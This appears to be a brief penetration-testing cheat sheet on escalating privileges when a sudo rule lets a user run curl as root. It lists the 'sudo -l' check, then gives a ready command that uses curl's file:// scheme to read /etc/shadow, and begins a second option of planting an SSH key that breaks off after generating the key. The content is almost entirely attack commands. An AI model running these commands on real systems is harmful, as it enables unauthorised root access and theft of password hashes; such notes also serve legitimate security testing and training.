Sudo Curl Privilege Escalation
Investigation
sudo -l
(root) /usr/bin/curl 127.0.0.1/*Exploit
Option 1. Read Files
sudo /usr/bin/curl 127.0.0.1/ file:///etc/shadowOption 2. Add SSH Key
ssh-keygen -f key
# Display the content of the public key, and copy it.
cat key.pubLast updated